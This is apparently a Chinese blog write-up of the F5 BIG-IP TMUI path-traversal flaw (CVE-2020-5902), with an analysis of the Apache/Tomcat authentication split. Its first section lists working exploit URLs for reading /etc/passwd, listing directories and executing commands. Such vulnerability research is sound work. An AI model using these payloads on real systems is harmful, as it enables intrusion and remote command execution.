前言
最近老看到的名字很奇怪的软件,简单看一下,不深入。
环境搭建
对这款软件有过了解的师傅可以自行搭建,像我这样之前完全没听过这个名字的菜鸡,参考的是这篇文章,因为我自己注册账号下载的时候被拒绝了,所以直接使用的是文章给出的账号密码去下载的虚拟机,然后将 ova 文件拖入 Vmware 启动虚拟机,修改密码完成环境搭建。
漏洞利用 1
来自参考文章,其实就是越权访问了危险操作的接口,文件读取:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
列目录:
/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
命令执行:
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create cli alias private list command bash
/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list /tmp/cmd
漏洞分析 1
在阅读源码之前,先理一下软件结构,首先看看端口监听情况:
[root@localhost:NO LICENSE:Standalone] modules # netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
...
tcp6 0 0 :::443 :::* LISTEN 4202/httpd
...
可以注意到,我们使用 HTTPS 协议访问它的 web 界面时,处理请求的其实是 Apache,所以这里其实是一个 Apache 代理 Tomcat 的结构,Apache 的配置文件可以在 /config/httpd 下面找到,其中有两个重要的配置文件,httpd.conf 和 proxy_ajp.conf,在 httpd.conf 文件里面有用户鉴权相关的配置,里面有这样一句注释:
#
# This is the location of the external APIs used by clients.
#
# The mod_auth_pam and mod_f5_auth_cookie packages have been modified
# to recognize URLs under this path and perform standard Basic
# authentication (rather than forward to the UI login page).
#
所以我们将这两个 Apache 扩展下载到本地,可以用 IDA 打开进行分析(但是 C++ 加上 Apache 函数,挺难看的),可以发现权限校验就是由 Apache 完成的,session 文件存放在 /var/run/pamcache/ 目录下,大致内容如下:
2
192.168.3.20
admin
0
/bin/false
Thu Jul 23 14:08:41 2020
[All]
Administrator
eOTD2tjVa3AqazzBP3VCBZHe
17
1200
包括用户名、IP、权限等等数据,权限校验完成后,Apache 就会将请求发送给 Tomcat,可以看 proxy_apj.conf:
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
所以只要 Apache 认为请求符合权限,就可以越权访问 Tomcat 的接口,Java 项目源码可以在 /usr/local/www/tmui 目录下找到。
而 Apache/Nginx 和 Tomcat 因为解析不同出问题已经不少见了,18 年就见过一次。
漏洞利用 2
hqsldb 容易受到反序列化攻击:https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902 。
参考文章: